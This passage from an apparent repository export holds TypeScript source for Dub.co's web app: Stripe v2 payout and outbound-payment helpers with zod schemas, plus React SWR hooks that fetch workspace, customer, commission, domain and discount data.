{\n      amount,\n      currency: \"usd\",\n      payout_method: financialAccountId,\n    },\n    headers: {\n      Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n      \"Stripe-Version\": STRIPE_API_VERSION,\n      \"Content-Type\": \"application/x-www-form-urlencoded\",\n      \"Idempotency-Key\": idempotencyKey,\n    },\n  });\n\n  if (error) {\n    throw new Error(`Failed to fund Dub's financial account: ${error.message}`);\n  }\n\n  console.log(\n    `Transferred ${currencyFormatter(amount)} to Dub's financial account`,\n    prettyPrint(data),\n  );\n\n  // small delay to make sure the funds are fully available in the financial account\n  await new Promise((resolve) => setTimeout(resolve, 1000));\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/get-stripe-outbound-payment.ts",
    "content": "import { stripeV2Fetch } from \"./stripe-v2-client\";\n\nexport async function getStripeOutboundPayment(outboundPaymentId: string) {\n  const { data, error } = await stripeV2Fetch(\n    \"/v2/money_management/outbound_payments/:id\",\n    {\n      params: {\n        id: outboundPaymentId,\n      },\n    },\n  );\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/get-stripe-recipient-account.ts",
    "content": "import { stripeV2Fetch } from \"./stripe-v2-client\";\n\nexport async function getStripeRecipientAccount(stripeRecipientId: string) {\n  const { data, error } = await stripeV2Fetch(\"/v2/core/accounts/:id\", {\n    params: {\n      id: stripeRecipientId,\n    },\n    query: {\n      \"include[0]\": \"configuration.recipient\",\n    },\n  });\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/get-stripe-recipient-payout-method.ts",
    "content": "import { STRIPE_API_VERSION, stripeV2Fetch } from \"./stripe-v2-client\";\n\nexport async function getStripeRecipientPayoutMethod(\n  stripeRecipientId: string,\n) {\n  const { data, error } = await stripeV2Fetch(\n    \"/v2/money_management/payout_methods\",\n    {\n      query: {\n        limit: 10,\n      },\n      headers: {\n        Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n        \"Stripe-Version\": STRIPE_API_VERSION,\n        \"Stripe-Context\": stripeRecipientId,\n      },\n    },\n  );\n\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return data.data?.find((m) => m.type === \"crypto_wallet\") ?? null;\n}\n"
  },
  {
    "path": "apps/web/lib/stripe/index.ts",
    "content": "import Stripe from \"stripe\";\nimport { StripeMode } from \"../types\";\n\nexport const stripe = new Stripe(`${process.env.STRIPE_SECRET_KEY}`, {\n  apiVersion: \"2025-05-28.basil\",\n  appInfo: {\n    name: \"Dub.co\",\n    version: \"0.1.0\",\n  },\n});\n\nconst secretMap: Record<StripeMode, string | undefined> = {\n  live: process.env.STRIPE_APP_SECRET_KEY,\n  test: process.env.STRIPE_APP_SECRET_KEY_TEST,\n  sandbox: process.env.STRIPE_APP_SECRET_KEY_SANDBOX,\n};\n\n// Stripe Integration App client\nexport const stripeAppClient = ({ mode }: { mode?: StripeMode }) => {\n  const appSecretKey = secretMap[mode ?? \"test\"];\n\n  return new Stripe(appSecretKey!, {\n    apiVersion: \"2025-05-28.basil\",\n    appInfo: {\n      name: \"Dub.co\",\n      version: \"0.1.0\",\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/stripe/payment-methods.ts",
    "content": "import { DIRECT_DEBIT_PAYMENT_METHOD_TYPES } from \"@/lib/constants/payouts\";\nimport { CreditCard, GreekTemple } from \"@dub/ui\";\nimport Stripe from \"stripe\";\n\nexport const calculatePayoutFeeForMethod = ({\n  paymentMethod,\n  payoutFee,\n}: {\n  paymentMethod: Stripe.PaymentMethod.Type;\n  payoutFee: number | undefined;\n}) => {\n  if (!paymentMethod || payoutFee === undefined || payoutFee === null) {\n    return null;\n  }\n\n  if ([\"link\", \"card\"].includes(paymentMethod)) {\n    return payoutFee + 0.03;\n  }\n\n  if (DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(paymentMethod)) {\n    return payoutFee;\n  }\n\n  throw new Error(`Unsupported payment method ${paymentMethod}.`);\n};\n\nexport const STRIPE_PAYMENT_METHODS = Object.freeze({\n  link: {\n    label: \"Link\",\n    type: \"link\",\n    icon: CreditCard,\n    duration: \"Instantly\",\n  },\n  card: {\n    label: \"Card\",\n    type: \"card\",\n    icon: CreditCard,\n    duration: \"Instantly\",\n  },\n  us_bank_account: {\n    label: \"ACH\",\n    type: \"us_bank_account\",\n    icon: GreekTemple,\n    duration: \"4 business days\",\n  },\n  acss_debit: {\n    label: \"ACSS Debit\",\n    type: \"acss_debit\",\n    icon: GreekTemple,\n    duration: \"5 business days\",\n  },\n  sepa_debit: {\n    label: \"SEPA Debit\",\n    type: \"sepa_debit\",\n    icon: GreekTemple,\n    duration: \"5 business days\",\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/stripe/stripe-v2-client.ts",
    "content": "import { createFetch, createSchema } from \"@better-fetch/fetch\";\nimport { prettyPrint } from \"@dub/utils\";\nimport {\n  createAccountLinkInputSchema,\n  createAccountLinkOutputSchema,\n  createOutboundPaymentInputSchema,\n  createPayoutInputSchema,\n  createPayoutOutputSchema,\n  createRecipientAccountInputSchema,\n  createRecipientAccountOutputSchema,\n  listPayoutMethodsOutputSchema,\n  listPayoutMethodsQuerySchema,\n  outboundPaymentSchema,\n  retrieveAccountOutputSchema,\n  retrieveAccountQuerySchema,\n} from \"./stripe-v2-schemas\";\n\nexport const STRIPE_API_VERSION = \"2025-09-30.preview\";\n\n// TODO:\n// Replace this with new Stripe SDK when it becomes stable\n\nexport const stripeV2Fetch = createFetch({\n  baseURL: \"https://api.stripe.com\",\n  headers: {\n    Authorization: `Bearer ${process.env.STRIPE_SECRET_KEY}`,\n    \"Stripe-Version\": STRIPE_API_VERSION,\n  },\n  schema: createSchema(\n    {\n      \"/v2/core/accounts\": {\n        method: \"post\",\n        input: createRecipientAccountInputSchema,\n        output: createRecipientAccountOutputSchema,\n      },\n      \"/v2/core/accounts/:id\": {\n        method: \"get\",\n        query: retrieveAccountQuerySchema,\n        output: retrieveAccountOutputSchema,\n      },\n      \"/v2/core/account_links\": {\n        method: \"post\",\n        input: createAccountLinkInputSchema,\n        output: createAccountLinkOutputSchema,\n      },\n      \"/v2/money_management/outbound_payments\": {\n        method: \"post\",\n        input: createOutboundPaymentInputSchema,\n        output: outboundPaymentSchema,\n      },\n      \"/v2/money_management/outbound_payments/:id\": {\n        method: \"get\",\n        output: outboundPaymentSchema,\n      },\n      \"/v2/money_management/payout_methods\": {\n        method: \"get\",\n        query: listPayoutMethodsQuerySchema,\n        output: listPayoutMethodsOutputSchema,\n      },\n      // payout_method is a preview feature and not currently available in our current SDK version\n      \"/v1/payouts\": {\n        method: \"post\",\n        input: createPayoutInputSchema,\n        output: createPayoutOutputSchema,\n      },\n    },\n    {\n      strict: true,\n    },\n  ),\n  onError: ({ error }) => {\n    console.error(\"[Stripe V2] Error\", prettyPrint(error));\n  },\n  // onResponse: async (context) => {\n  //   const cloned = context.response.clone();\n\n  //   try {\n  //     const raw = await cloned.json();\n  //     console.log(\"[Stripe V2] Raw response\", prettyPrint(raw));\n  //   } catch {\n  //     //\n  //   }\n\n  //   return context.response;\n  // },\n});\n"
  },
  {
    "path": "apps/web/lib/stripe/stripe-v2-schemas.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const createRecipientAccountInputSchema = z.object({\n  contact_email: z.string(),\n  display_name: z.string(),\n  identity: z.object({\n    country: z.string(),\n    entity_type: z.enum([\"individual\", \"company\"]),\n  }),\n  configuration: z.object({\n    recipient: z.object({\n      capabilities: z.object({\n        crypto_wallets: z.object({\n          requested: z.literal(true),\n        }),\n      }),\n    }),\n  }),\n  include: z.array(z.string()),\n});\n\nexport const createRecipientAccountOutputSchema = z.object({\n  id: z.string(),\n  livemode: z.boolean(),\n});\n\nexport const createAccountLinkInputSchema = z.object({\n  account: z.string(),\n  use_case: z.object({\n    type: z.enum([\"account_onboarding\", \"account_update\"]),\n    account_onboarding: z\n      .object({\n        configurations: z.array(z.literal(\"recipient\")),\n        refresh_url: z.url(),\n        return_url: z.url().optional(),\n        collection_options: z.object({\n          fields: z.enum([\"currently_due\", \"eventually_due\"]),\n        }),\n      })\n      .optional(),\n    account_update: z\n      .object({\n        configurations: z.array(z.literal(\"recipient\")),\n        refresh_url: z.url(),\n        return_url: z.url().optional(),\n      })\n      .optional(),\n  }),\n});\n\nexport const createAccountLinkOutputSchema = z.object({\n  url: z.string(),\n  expires_at: z.union([z.number(), z.string()]),\n});\n\nexport const createOutboundPaymentInputSchema = z.object({\n  amount: z.object({\n    currency: z.string(),\n    value: z.number(),\n  }),\n  from: z.object({\n    financial_account: z.string(),\n    currency: z.string(),\n  }),\n  to: z.object({\n    recipient: z.string(),\n    payout_method: z.string().optional(),\n    currency: z.string().optional(),\n  }),\n  description: z.string().optional(),\n  metadata: z.record(z.string(), z.string()).optional(),\n  delivery_options: z\n    .object({\n      bank_account: z.enum([\"automatic\", \"local\", \"wire\"]).optional(),\n    })\n    .optional(),\n  recipient_notification: z\n    .object({\n      setting: z.enum([\"configured\", \"none\"]),\n    })\n    .optional(),\n});\n\nexport const outboundPaymentSchema = z.object({\n  id: z.string(),\n  object: z.literal(\"v2.money_management.outbound_payment\"),\n  amount: z.object({\n    currency: z.string(),\n    value: z.number(),\n  }),\n  status: z.enum([\"processing\", \"failed\", \"posted\", \"returned\", \"canceled\"]),\n  from: z.object({\n    financial_account: z.string(),\n    debited: z\n      .object({\n        currency: z.string(),\n        value: z.number(),\n      })\n      .optional(),\n  }),\n  to: z.object({\n    recipient: z.string(),\n    payout_method: z.string().optional(),\n    credited: z\n      .object({\n        currency: z.string(),\n        value: z.number(),\n      })\n      .optional(),\n  }),\n  cancelable: z.boolean(),\n  description: z.string().nullable().optional(),\n  created: z.string(),\n  status_details: z\n    .object({\n      failed: z\n        .object({\n          reason: z.string().default(\"unknown_failure\"),\n        })\n        .optional(),\n      returned: z\n        .object({\n          reason: z.string().default(\"unknown_failure\"),\n        })\n        .optional(),\n    })\n    .nullable()\n    .optional(),\n  trace_id: z\n    .object({\n      value: z.string(),\n    })\n    .nullable()\n    .optional(),\n});\n\nexport const listPayoutMethodsQuerySchema = z.object({\n  limit: z.number(),\n});\n\nexport const listPayoutMethodsOutputSchema = z.object({\n  data: z.array(\n    z.object({\n      id: z.string(),\n      object: z.string(),\n      type: z\n        .enum([\"crypto_wallet\", \"bank_account\", \"card\"])\n        .describe(\"We only care about crypto_wallet type\"),\n      crypto_wallet: z\n        .object({\n          address: z.string(),\n          archived: z.boolean(),\n          network: z.string(),\n        })\n        .nullish(),\n    }),\n  ),\n});\n\nexport const retrieveAccountQuerySchema = z.object({\n  \"include[0]\": z.string(),\n});\n\nexport const retrieveAccountOutputSchema = z.object({\n  id: z.string(),\n  closed: z.boolean().nullable().optional(),\n  configuration: z\n    .object({\n      recipient: z\n        .object({\n          applied: z.boolean(),\n          capabilities: z.record(z.string(), z.any()).nullable(),\n        })\n        .nullable(),\n    })\n    .nullable(),\n});\n\nexport const createPayoutInputSchema = z.object({\n  amount: z.number(),\n  currency: z.literal(\"usd\"),\n  payout_method: z.string(),\n});\n\nexport const createPayoutOutputSchema = z.object({\n  id: z.string(),\n  amount: z.number(),\n  currency: z.string(),\n  status: z.enum([\"pending\", \"paid\", \"in_transit\", \"canceled\", \"failed\"]),\n});\n\nexport const OUTBOUND_PAYMENT_FAILURE_REASONS = {\n  payout_method_declined:\n    \"The outbound flow to this payout method was declined.\",\n  payout_method_does_not_exist:\n    \"Payout method used for this outbound flow does not exist.\",\n  payout_method_expired: \"Payout method used for this outbound flow expired.\",\n  payout_method_unsupported:\n    \"Payout method used for this outbound flow is unsupported.\",\n  payout_method_usage_frequency_limit_exceeded:\n    \"The usage frequency limit for this payout method was exceeded.\",\n  unknown_failure: \"Unknown failure\",\n} as const;\n\nexport const OUTBOUND_PAYMENT_RETURNED_REASONS = {\n  payout_method_canceled_by_customer:\n    \"The outbound flow to this payout method was canceled by customer.\",\n  payout_method_closed:\n    \"Payout method account used for this outbound flow is closed.\",\n  payout_method_currency_unsupported:\n    \"Currency is not supported by the payout method account.\",\n  payout_method_does_not_exist:\n    \"Payout method account used for this outbound flow does not exist.\",\n  payout_method_holder_address_incorrect:\n    \"Address on the payout method account is incorrect.\",\n  payout_method_holder_details_incorrect:\n    \"The payout method account holder's details are incorrect.\",\n  payout_method_holder_name_incorrect:\n    \"Name on the payout method account is incorrect.\",\n  payout_method_invalid_account_number:\n    \"The outbound flow to this payout method has an invalid account number.\",\n  payout_method_restricted:\n    \"Payout method account used for this outbound flow is restricted.\",\n  recalled: \"The outbound flow to this payout method was recalled.\",\n  unknown_failure: \"Unknown failure\",\n} as const;\n"
  },
  {
    "path": "apps/web/lib/swr/mutate.ts",
    "content": "import { mutate } from \"swr\";\n\nexport const mutatePrefix = (prefix: string | string[]) =>\n  mutate(\n    (key) =>\n      typeof key === \"string\" &&\n      (Array.isArray(prefix)\n        ? prefix.some((p) => key.startsWith(p))\n        : key.startsWith(prefix)),\n    undefined,\n    { revalidate: true },\n  );\n\nexport const mutateSuffix = (suffix: string | string[]) =>\n  mutate(\n    (key) =>\n      typeof key === \"string\" &&\n      (Array.isArray(suffix)\n        ? suffix.some((s) => key.endsWith(s))\n        : key.endsWith(suffix)),\n    undefined,\n    {\n      revalidate: true,\n    },\n  );\n"
  },
  {
    "path": "apps/web/lib/swr/use-activity-logs.ts",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ActivityLog, GetActivityLogsQuery } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\n\nexport function useActivityLogs({\n  query,\n  enabled = true,\n}: {\n  query?: GetActivityLogsQuery;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const searchParams = query\n    ? new URLSearchParams({\n        workspaceId: workspaceId!,\n        ...query,\n      }).toString()\n    : \"\";\n\n  const requestEnabled =\n    enabled &&\n    workspaceId &&\n    query?.resourceType &&\n    (query?.parentResourceId || query?.resourceId);\n\n  const { data, error, isLoading, mutate } = useSWR<ActivityLog[]>(\n    requestEnabled && `/api/activity-logs?${searchParams}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    activityLogs: data,\n    error,\n    loading: isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-api-mutation.ts",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useCallback, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface ApiRequestOptions<TBody, TResponse> {\n  method?: \"GET\" | \"POST\" | \"PUT\" | \"PATCH\" | \"DELETE\";\n  body?: TBody;\n  headers?: Record<string, string>;\n  onSuccess?: (data: TResponse) => void | Promise<void>;\n  onError?: (error: string) => void;\n}\n\ninterface ApiResponse<T> {\n  isSubmitting: boolean;\n  makeRequest: (\n    endpoint: string,\n    options?: ApiRequestOptions<any, T>,\n  ) => Promise<void>;\n}\n\ninterface ApiError {\n  error: {\n    message: string;\n  };\n}\n\nconst debug = (...args: any[]) => {\n  if (process.env.NODE_ENV === \"development\") {\n    console.log(...args);\n  }\n};\n\nexport function useApiMutation<\n  TResponse = any,\n  TBody = any,\n>(): ApiResponse<TResponse> {\n  const { id: workspaceId } = useWorkspace();\n  const [isSubmitting, setIsSubmitting] = useState(false);\n\n  const makeRequest = useCallback(\n    async (\n      endpoint: string,\n      options: ApiRequestOptions<TBody, TResponse> = {},\n    ) => {\n      const { method = \"GET\", body, headers, onSuccess, onError } = options;\n\n      setIsSubmitting(true);\n\n      try {\n        debug(\"Starting request\", {\n          endpoint,\n          method,\n          body,\n          headers,\n        });\n\n        if (!workspaceId) {\n          throw new Error(\"Workspace ID is required.\");\n        }\n\n        const response = await fetch(`${endpoint}?workspaceId=${workspaceId}`, {\n          method,\n          headers: {\n            \"Content-Type\": \"application/json\",\n            ...headers,\n          },\n          body: body ? JSON.stringify(body) : undefined,\n        });\n\n        // Handle error\n        if (!response.ok) {\n          const { error } = (await response.json()) as ApiError;\n          throw new Error(\n            error.message || `Request failed with status ${response.status}`,\n          );\n        }\n\n        // Handle success\n        const data = (await response.json()) as TResponse;\n        await onSuccess?.(data);\n\n        debug(\"Response received\", data);\n      } catch (error) {\n        const errorMessage =\n          error instanceof Error\n            ? error.message\n            : \"Something went wrong. Please try again.\";\n\n        if (onError) {\n          onError?.(errorMessage);\n        } else {\n          toast.error(errorMessage);\n        }\n\n        debug(\"Error occurred\", error);\n      } finally {\n        setIsSubmitting(false);\n        debug(\"Request finished\");\n      }\n    },\n    [workspaceId],\n  );\n\n  return {\n    isSubmitting,\n    makeRequest,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-bounty-submissions-count.ts",
    "content": "import { BountySubmissionStatus } from \"@dub/prisma/client\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport interface SubmissionsCountByStatus {\n  status: BountySubmissionStatus;\n  count: number;\n}\n\nexport function useBountySubmissionsCount<T>({\n  ignoreParams,\n  enabled = true,\n}: {\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { bountyId } = useParams();\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data: submissionsCount, error } = useSWR<T>(\n    enabled &&\n      workspaceId &&\n      `/api/bounties/count/submissions${getQueryString(\n        {\n          workspaceId,\n          ...(bountyId ? { bountyId } : {}),\n        },\n        ignoreParams ? { include: [] } : undefined,\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    submissionsCount,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-bounty.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { BountyProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useBounty() {\n  const { id: workspaceId } = useWorkspace();\n  const { bountyId } = useParams<{ bountyId: string }>();\n\n  const { data: bounty, error } = useSWR<BountyProps>(\n    workspaceId && bountyId\n      ? `/api/bounties/${bountyId}?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n  );\n\n  return {\n    bounty,\n    loading: !bounty && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-commission.ts",
    "content": "\"use client\";\n\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport { CommissionDetail } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useCommission() {\n  const { id: workspaceId } = useWorkspace();\n  const { commissionId } = useParams<{ commissionId: string }>();\n\n  const { data: commission, error } = useSWR<CommissionDetail>(\n    workspaceId && commissionId\n      ? `/api/commissions/${commissionId}?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n  );\n\n  return {\n    commission,\n    loading: !commission && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-commissions-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { CommissionsCount } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useCommissionsCount(opts?: Record<string, any>) {\n  const { id: workspaceId } = useWorkspace() as { id: string };\n  const { getQueryString } = useRouterStuff();\n\n  const { data: commissionsCount, error } = useSWR<CommissionsCount>(\n    `/api/commissions/count${getQueryString(\n      {\n        workspaceId,\n        timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n      },\n      {\n        ...opts,\n        exclude: opts?.exclude || [],\n      },\n    )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    commissionsCount,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-commissions-timeseries.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"../analytics/constants\";\nimport { PartnerAnalyticsFilters } from \"../analytics/types\";\nimport useWorkspace from \"./use-workspace\";\n\ninterface Commission {\n  start: string;\n  earnings: number;\n}\n\nexport default function useCommissionsTimeseries(\n  params?: PartnerAnalyticsFilters & { enabled: boolean },\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const searchParams = new URLSearchParams({\n    event: params?.event ?? \"composite\",\n    ...(params?.start && params?.end\n      ? {\n          start: params.start.toISOString(),\n          end: params.end.toISOString(),\n        }\n      : { interval: params?.interval ?? DUB_PARTNERS_ANALYTICS_INTERVAL }),\n    groupBy: params?.groupBy ?? \"count\",\n    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n    workspaceId: workspaceId!,\n  });\n\n  const { data, error } = useSWR<Commission[]>(\n    params?.enabled\n      ? `/api/commissions/timeseries?${searchParams.toString()}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    data,\n    error,\n    loading: !data && !error ? true : false,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-current-folder-id.ts",
    "content": "import { useSearchParams } from \"next/navigation\";\nimport useWorkspace from \"./use-workspace\";\n\n// get the current folder id from the search params or the user's default folder\n// normalize the folder id to null if it is \"unsorted\"\nexport default function useCurrentFolderId() {\n  const { defaultFolderId } = useWorkspace();\n  const searchParams = useSearchParams();\n  let folderId = searchParams.get(\"folderId\") ?? defaultFolderId ?? null;\n\n  if (folderId === \"unsorted\") {\n    folderId = null;\n  }\n\n  return { folderId };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-customer-activity.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { CustomerActivityResponse } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useCustomerActivity({\n  customerId,\n}: {\n  customerId: string;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { data: customerActivity, isLoading: isCustomerActivityLoading } =\n    useSWR<CustomerActivityResponse>(\n      customerId &&\n        workspaceId &&\n        `/api/customers/${customerId}/activity?workspaceId=${workspaceId}`,\n      fetcher,\n    );\n\n  return {\n    customerActivity,\n    isCustomerActivityLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-customer.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { CustomerEnriched, CustomerProps } from \"../types\";\nimport { getCustomersQuerySchema } from \"../zod/schemas/customers\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getCustomersQuerySchema.pick({\n  includeExpandedFields: true,\n});\n\nexport default function useCustomer<\n  T extends CustomerProps | CustomerEnriched = CustomerProps,\n>({\n  customerId,\n  query,\n}: {\n  customerId: T[\"id\"];\n  query?: z.infer<typeof partialQuerySchema>;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, error, isLoading } = useSWR<T>(\n    workspaceId && customerId\n      ? `/api/customers/${customerId}?${new URLSearchParams({\n          workspaceId: workspaceId,\n          ...query,\n        } as Record<string, any>).toString()}`\n      : undefined,\n    fetcher,\n  );\n\n  return {\n    data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-customers-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getCustomersCountQuerySchema } from \"../zod/schemas/customers\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useCustomersCount<T = number>({\n  query,\n  enabled = true,\n  includeParams = [\"country\", \"partnerId\", \"linkId\", \"externalId\", \"search\"],\n}: {\n  query?: z.infer<typeof getCustomersCountQuerySchema>;\n  enabled?: boolean;\n  includeParams?: string[];\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error, isLoading } = useSWR<T>(\n    enabled &&\n      workspaceId &&\n      `/api/customers/count${getQueryString(\n        { workspaceId, ...query },\n        {\n          include: includeParams,\n        },\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-customers.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getPlanCapabilities } from \"../plan-capabilities\";\nimport { CustomerProps } from \"../types\";\nimport { getCustomersQuerySchemaExtended } from \"../zod/schemas/customers\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getCustomersQuerySchemaExtended.partial();\n\nexport default function useCustomers({\n  query,\n  enabled = true,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, plan } = useWorkspace();\n  const { canManageCustomers } = getPlanCapabilities(plan);\n\n  const { data: customers, error } = useSWR<CustomerProps[]>(\n    enabled && workspaceId && canManageCustomers\n      ? `/api/customers?${new URLSearchParams({\n          workspaceId: workspaceId,\n          ...query,\n        } as Record<string, any>).toString()}`\n      : undefined,\n    fetcher,\n  );\n\n  return {\n    customers,\n    loading: !customers && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-default-domains.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDefaultDomains(opts: { search?: string } = {}) {\n  const { id: workspaceId, flags } = useWorkspace();\n\n  const { data, error, mutate } = useSWR<string[]>(\n    workspaceId &&\n      `/api/domains/default?${new URLSearchParams({\n        workspaceId,\n        ...(opts.search && { search: opts.search }),\n      }).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const defaultDomains = useMemo(() => {\n    return flags?.noDubLink\n      ? data?.filter((domain) => domain !== \"dub.link\")\n      : data;\n  }, [data, flags]);\n\n  return {\n    defaultDomains,\n    loading: !data && !error,\n    mutate,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-discount-codes.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { DiscountCodeProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDiscountCodes({\n  partnerId,\n  enabled = true,\n}: {\n  partnerId: string | null;\n  enabled?: boolean;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: discountCodes, error } = useSWR<DiscountCodeProps[]>(\n    enabled && workspaceId && partnerId\n      ? `/api/discount-codes?partnerId=${partnerId}&workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    discountCodes,\n    loading: !discountCodes && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-discounts.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { DiscountProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDiscounts() {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const { data: discounts, error } = useSWR<DiscountProps[]>(\n    workspaceId &&\n      defaultProgramId &&\n      `/api/programs/${defaultProgramId}/discounts?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    discounts,\n    loading: !discounts && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-domain.ts",
    "content": "import { fetcher, isDubDomain } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { DomainProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDomain({\n  slug,\n  enabled,\n}: {\n  slug: string;\n  enabled?: boolean;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: domain, error } = useSWR<DomainProps>(\n    enabled &&\n      workspaceId &&\n      slug &&\n      !isDubDomain(slug) &&\n      `/api/domains/${slug}?workspaceId=${workspaceId}`,\n    fetcher,\n    { refreshInterval: 60000 },\n  );\n\n  return {\n    ...domain,\n    loading: !domain && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-domains-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDomainsCount({\n  ignoreParams,\n  opts,\n}: {\n  ignoreParams?: boolean;\n  opts?: Record<string, string>;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error } = useSWR<number>(\n    workspaceId &&\n      `/api/domains/count${\n        ignoreParams\n          ? \"?\" + new URLSearchParams({ workspaceId, ...opts }).toString()\n          : getQueryString({\n              workspaceId,\n              ...opts,\n            })\n      }`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    data,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-domains.ts",
